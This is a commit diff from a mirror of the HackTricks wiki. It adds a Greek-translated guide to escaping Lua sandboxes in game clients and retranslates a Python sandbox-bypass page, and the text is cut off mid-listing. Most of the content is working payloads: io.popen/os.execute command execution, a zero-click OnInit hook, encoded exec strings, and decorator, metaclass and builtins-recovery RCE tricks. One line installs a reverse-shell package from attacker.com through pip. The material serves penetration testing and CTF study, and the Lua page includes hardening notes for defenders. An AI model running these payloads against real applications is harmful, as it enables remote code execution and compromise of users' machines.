mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
ed02b111fa
commit
e079f7cb7d
@ -80,6 +80,8 @@
|
||||
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
@ -926,13 +928,4 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
|
||||
|
@ -0,0 +1,115 @@
|
||||
# Παρακάμψτε Lua sandboxes (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η σελίδα συγκεντρώνει πρακτικές τεχνικές για να εξερευνήσετε και να ξεφύγετε από ενσωματωμένα Lua "sandboxes" σε εφαρμογές (ιδιαίτερα game clients, plugins, ή in-app scripting engines). Πολλές engines εκθέτουν ένα περιορισμένο περιβάλλον Lua, αλλά αφήνουν ισχυρά globals προσβάσιμα που επιτρέπουν αυθαίρετη εκτέλεση εντολών ή ακόμη και native memory corruption όταν εκτίθενται bytecode loaders.
|
||||
|
||||
Key ideas:
|
||||
- Θεωρήστε το VM ως άγνωστο περιβάλλον: καταγράψτε το _G και ανακαλύψτε ποια επικίνδυνα primitives είναι προσβάσιμα.
|
||||
- Όταν stdout/print είναι μπλοκαρισμένο, κακοποιήστε οποιοδήποτε in-VM UI/IPC κανάλι ως output sink για να παρατηρήσετε αποτελέσματα.
|
||||
- Αν io/os είναι εκτεθειμένα, συχνά έχετε απευθείας εκτέλεση εντολών (io.popen, os.execute).
|
||||
- Αν load/loadstring/loadfile είναι εκτεθειμένα, η εκτέλεση crafted Lua bytecode μπορεί να υπονομεύσει την ασφάλεια μνήμης σε μερικές εκδόσεις (≤5.1 verifiers are bypassable; 5.2 removed verifier), επιτρέποντας προχωρημένη εκμετάλλευση.
|
||||
|
||||
## Εξερεύνηση του sandboxed περιβάλλοντος
|
||||
|
||||
- Dump το global environment για να καταγράψετε reachable tables/functions:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
out("=== DUMPING _G ===")
|
||||
for k, v in pairs(_G) do
|
||||
out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Αν το print() δεν είναι διαθέσιμο, επαναχρησιμοποιήστε τα in-VM κανάλια. Παράδειγμα από ένα MMO housing script VM όπου η έξοδος στο chat λειτουργεί μόνο μετά από μια sound call; το παρακάτω δημιουργεί μια αξιόπιστη συνάρτηση εξόδου:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
-- Some engines require enabling an audio channel before speaking
|
||||
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
|
||||
return function(msg)
|
||||
H.Say(label or 1, msg)
|
||||
end
|
||||
end
|
||||
|
||||
function OnMenu(menuNum)
|
||||
if menuNum ~= 3 then return end
|
||||
local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Γενικεύστε αυτό το μοτίβο για τον στόχο σας: οποιοδήποτε textbox, toast, logger ή UI callback που δέχεται strings μπορεί να λειτουργήσει ως stdout για reconnaissance.
|
||||
|
||||
## Άμεση εκτέλεση εντολών αν io/os είναι εκτεθειμένα
|
||||
|
||||
Αν το sandbox εξακολουθεί να εκθέει τις standard βιβλιοθήκες io or os, πιθανότατα έχετε άμεση εκτέλεση εντολών:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
|
||||
-- Cross-platform variants depending on exposure
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Η εκτέλεση συμβαίνει μέσα στο client process· πολλά anti-cheat/antidebug layers που μπλοκάρουν external debuggers δεν θα αποτρέψουν το in-VM process creation.
|
||||
- Επίσης έλεγξε: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
Αν η host application ωθεί scripts στους clients και η VM εκθέτει auto-run hooks (π.χ. OnInit/OnLoad/OnEnter), τοποθέτησε το payload σου εκεί για drive-by compromise μόλις το script φορτωθεί:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
Οποιοσδήποτε ισοδύναμος callback (OnLoad, OnEnter, etc.) γενικεύει αυτή την τεχνική όταν scripts μεταδίδονται και εκτελούνται αυτόματα στον client.
|
||||
|
||||
## Επικίνδυνα primitives για να εντοπίσετε κατά το recon
|
||||
|
||||
Κατά την enumeration του _G, ψάξτε ειδικά για:
|
||||
- io, os: io.popen, os.execute, file I/O, πρόσβαση σε μεταβλητές περιβάλλοντος.
|
||||
- load, loadstring, loadfile, dofile: εκτελούν πηγαίο κώδικα ή bytecode· επιτρέπουν τη φόρτωση μη αξιόπιστου bytecode.
|
||||
- package, package.loadlib, require: φόρτωση δυναμικών βιβλιοθηκών και επιφάνεια module.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, και hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load για να καλεί άμεσα native code.
|
||||
|
||||
Minimal usage examples (if reachable):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
print(f()) -- 2
|
||||
|
||||
-- loadstring is alias of load for strings in 5.1
|
||||
local bc = string.dump(function() return 0x1337 end)
|
||||
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
|
||||
print(g())
|
||||
|
||||
-- Load native library symbol (if allowed)
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Προαιρετική κλιμάκωση: κατάχρηση των Lua bytecode loaders
|
||||
|
||||
Όταν τα load/loadstring/loadfile είναι προσβάσιμα αλλά io/os είναι περιορισμένα, η εκτέλεση χειροποίητου Lua bytecode μπορεί να οδηγήσει σε memory disclosure και primitives καταστροφής μνήμης. Βασικά σημεία:
|
||||
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
|
||||
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
|
||||
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
|
||||
|
||||
Αυτή η διαδρομή είναι engine/version-specific και απαιτεί RE. Δείτε τις αναφορές για deep dives, exploitation primitives, και παραδείγματα gadgetry σε παιχνίδια.
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
|
||||
- Server side: απορρίψτε ή επαναγράψτε user scripts; allowlist safe APIs; strip ή bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Client side: τρέξτε Lua με ένα minimal _ENV, απαγορεύστε bytecode loading, επανεισάγετε έναν αυστηρό bytecode verifier ή signature checks, και μπλοκάρετε τη δημιουργία διαδικασιών από τη διεργασία του client.
|
||||
- Telemetry: ειδοποιήστε για gameclient → child process creation σύντομα μετά το script load; συσχετίστε με UI/chat/script events.
|
||||
|
||||
## References
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
|
||||
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,12 +1,13 @@
|
||||
# Bypass Python sandboxes
|
||||
# Παράκαμψη Python sandboxes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτά είναι μερικά κόλπα για να παρακάμψετε τους μηχανισμούς προστασίας των python sandbox και να εκτελέσετε αυθαίρετες εντολές.
|
||||
Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες του python sandbox και να εκτελέσετε αυθαίρετες εντολές.
|
||||
|
||||
|
||||
## Βιβλιοθήκες Εκτέλεσης Εντολών
|
||||
|
||||
Το πρώτο που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε απευθείας κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
|
||||
Το πρώτο που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε απευθείας κώδικα με κάποια ήδη εισαχθείσα βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,20 +40,20 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο python sandbox και για να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **bypass** το sandbox.
|
||||
Να θυμάστε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο python sandbox και για να **γράψετε κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **bypass** το sandbox.
|
||||
|
||||
> [!CAUTION] > Η συνάρτηση **Python2 input()** επιτρέπει την εκτέλεση python κώδικα πριν το πρόγραμμα καταρρεύσει.
|
||||
> [!CAUTION] > Η **Python2 input()** συνάρτηση επιτρέπει την εκτέλεση python code πριν το πρόγραμμα καταρρεύσει.
|
||||
|
||||
Η python προσπαθεί να **φορτώνει βιβλιοθήκες πρώτα από τον τρέχοντα κατάλογο** (η ακόλουθη εντολή θα εκτυπώσει από πού η python φορτώνει modules): `python3 -c 'import sys; print(sys.path)'`
|
||||
Η Python προσπαθεί να **φορτώνει βιβλιοθήκες πρώτα από τον τρέχοντα κατάλογο** (η ακόλουθη εντολή θα εκτυπώσει από πού φορτώνει η python τα modules): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox με τα προεγκατεστημένα python πακέτα
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
### Default packages
|
||||
### Προεπιλεγμένα πακέτα
|
||||
|
||||
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το python env να **import arbitrary libraries** εγκατεστημένες στο σύστημα.\
|
||||
Μπορείτε να βρείτε μια **λίστα με τα προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το python env να **import arbitrary libraries** που είναι εγκατεστημένες στο σύστημα.\
|
||||
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
@ -66,32 +67,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το pickle δείτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Για περισσότερες πληροφορίες για το πώς λειτουργεί το pickle δείτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip package
|
||||
|
||||
Κόλπο που μοιράστηκε από **@isHaacK**
|
||||
|
||||
Αν έχετε πρόσβαση σε `pip` ή `pip.main()` μπορείτε να εγκαταστήσετε οποιοδήποτε πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
|
||||
Εάν έχετε πρόσβαση σε `pip` ή `pip.main()` μπορείτε να εγκαταστήσετε ένα αυθαίρετο package και να αποκτήσετε ένα reverse shell καλώντας:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε πρέπει να **αποσυμπιέσετε το αρχείο, να αλλάξετε το `setup.py`, και να βάλετε την IP σας για το reverse shell**:
|
||||
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να **αποσυμπιέσετε το αρχείο, να αλλάξετε το `setup.py`, και να βάλετε την IP σας για το reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά έτσι ώστε όταν τερματίσετε το reverse shell η υπόλοιπη εγκατάσταση να αποτύχει, οπότε **δεν θα αφήσετε κανένα επιπλέον python package εγκατεστημένο στον server** όταν φύγετε.
|
||||
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι το exec επιτρέπει multiline strings και ";", αλλά το eval δεν το κάνει (ελέγξτε walrus operator)
|
||||
> Σημειώστε ότι το exec επιτρέπει multiline strings και ";", αλλά το eval όχι (check walrus operator)
|
||||
|
||||
Εάν ορισμένοι χαρακτήρες απαγορεύονται μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
|
||||
Αν ορισμένοι χαρακτήρες είναι απαγορευμένοι, μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Άλλες βιβλιοθήκες που επιτρέπουν το eval python code
|
||||
### Άλλες βιβλιοθήκες που επιτρέπουν την εκτέλεση eval python code
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Δείτε επίσης ένα πραγματικό sandboxed evaluator escape σε PDF generators:
|
||||
Δείτε επίσης μια πραγματική sandboxed evaluator απόδραση σε PDF generators:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Εκμεταλλεύεται το rl_safe_eval για να φτάσει σε function.__globals__ και os.system από αξιολογημένα attributes (για παράδειγμα, font color) και επιστρέφει μια έγκυρη τιμή για να διατηρήσει σταθερό το rendering.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Κακοποιεί το rl_safe_eval για να φτάσει σε function.__globals__ και os.system από αξιολογούμενα attributes (για παράδειγμα, font color) και επιστρέφει μια έγκυρη τιμή για να διατηρήσει την απόδοση σταθερή.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## Τελεστές και μικρά κόλπα
|
||||
## Τελεστές και σύντομα κόλπα
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -145,7 +146,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
```
|
||||
## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
|
||||
|
||||
Στο [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 χρησιμοποιείται για να φορτώσει και να εκτελέσει αυθαίρετο python code μέσα σε ένα εμφανές sandbox:
|
||||
Στο [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) το UFT-7 χρησιμοποιείται για τη φόρτωση και εκτέλεση αυθαίρετου python κώδικα μέσα σε ένα εμφανές sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -158,9 +159,9 @@ return x
|
||||
```
|
||||
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
|
||||
|
||||
## Εκτέλεση Python χωρίς calls
|
||||
## Εκτέλεση Python χωρίς κλήσεις
|
||||
|
||||
Εάν βρίσκεστε μέσα σε ένα python jail που **doesn't allow you to make calls**, υπάρχουν ακόμα μερικοί τρόποι για να **execute arbitrary functions, code** και **commands**.
|
||||
Αν βρίσκεστε μέσα σε ένα python jail που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι να **εκτελέσετε αυθαίρετες συναρτήσεις, code** και **commands**.
|
||||
|
||||
### RCE με [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -184,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE creating objects and overloading
|
||||
### RCE δημιουργία αντικειμένων και υπερφόρτωση
|
||||
|
||||
Αν μπορείτε να **declare a class** και να **create an object** αυτής της κλάσης, μπορείτε να **write/overwrite different methods** που μπορούν να **triggered** χωρίς να χρειάζεται να τις καλέσετε απευθείας.
|
||||
Αν μπορείτε να **δηλώσετε μια κλάση** και να **δημιουργήσετε ένα αντικείμενο** αυτής της κλάσης, μπορείτε να **γράψετε/αντικαταστήσετε διάφορες μεθόδους** που μπορούν να **εκτελεστούν** **χωρίς** **να χρειάζεται να τις καλέσετε απευθείας**.
|
||||
|
||||
#### RCE με custom classes
|
||||
#### RCE με προσαρμοσμένες κλάσεις
|
||||
|
||||
Μπορείτε να τροποποιήσετε μερικά **class methods** (_by overwriting existing class methods or creating a new class_) ώστε να τα αναγκάσετε να **execute arbitrary code** όταν **triggered** χωρίς να τα καλέσετε απευθείας.
|
||||
Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_με την αντικατάσταση υπαρχουσών μεθόδων κλάσης ή τη δημιουργία νέας κλάσης_) ώστε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να καλούνται απευθείας.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Δημιουργία αντικειμένων με [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Το βασικό που μας επιτρέπουν οι metaclasses είναι **να δημιουργήσουμε ένα αντικείμενο μιας κλάσης, χωρίς να καλούμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την στοχευόμενη κλάση ως metaclass.
|
||||
Το βασικό πράγμα που μας επιτρέπουν οι metaclasses είναι να **δημιουργήσουμε ένα instance μιας κλάσης, χωρίς να καλούμε απευθείας τον constructor**, δημιουργώντας μια νέα κλάση που έχει την στοχευόμενη κλάση ως metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Δημιουργία αντικειμένων με exceptions
|
||||
#### Δημιουργία objects με exceptions
|
||||
|
||||
Όταν μια **exception ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον constructor (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Όταν μια **exception** **ενεργοποιείται**, ένα object της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον constructor (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -279,7 +280,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
### Περισσότερο RCE
|
||||
### Περισσότερα RCE
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||
@ -301,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Διαβάστε αρχείο με builtins help & license
|
||||
### Διάβασε αρχείο με builtins help & άδεια
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -315,17 +316,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Εάν μπορείτε να αποκτήσετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
|
||||
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλες αναπαραστάσεις συμβολοσειράς που εμφανίζονται στην τελευταία ενότητα):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Χωρίς Builtins
|
||||
|
||||
Όταν δεν έχετε το `__builtins__` δεν θα μπορείτε να κάνετε import τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
|
||||
Ωστόσο, **εξ ορισμού το python φορτώνει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αβλαβή, αλλά κάποια από αυτά **περιέχουν επίσης επικίνδυνες** λειτουργικότητες μέσα τους στις οποίες μπορεί να αποκτηθεί πρόσβαση για να επιτευχθεί ακόμη και **arbitrary code execution**.
|
||||
Όταν δεν έχετε `__builtins__` δεν θα μπορείτε να import τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι global συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν έχουν φορτωθεί**.\
|
||||
Ωστόσο, **από προεπιλογή η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αβλαβή, αλλά κάποια από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους οι οποίες μπορούν να προσεγγιστούν για να αποκτηθεί ακόμα και **arbitrary code execution**.
|
||||
|
||||
Στα ακόλουθα παραδείγματα μπορείτε να δείτε πώς να **καταχραστείτε** κάποια από αυτά τα «αβλαβή» modules που έχουν φορτωθεί, για να αποκτήσετε πρόσβαση σε **επικίνδυνες** **λειτουργικότητες** μέσα τους.
|
||||
Στα παρακάτω παραδείγματα μπορείτε να δείτε πώς να **καταχραστείτε** κάποια από αυτά τα "**αβλαβή**" modules που έχουν φορτωθεί για να **προσπελάσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -367,7 +368,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **τοποθεσίες** όπου μπορείτε να βρείτε τα **builtins**.
|
||||
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **τόπους** όπου μπορείτε να βρείτε τα **builtins**.
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -383,9 +384,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals and locals
|
||||
## Globals και locals
|
||||
|
||||
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να προσπελάσετε.
|
||||
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να δείτε τι μπορείτε να προσπελάσετε.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -409,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 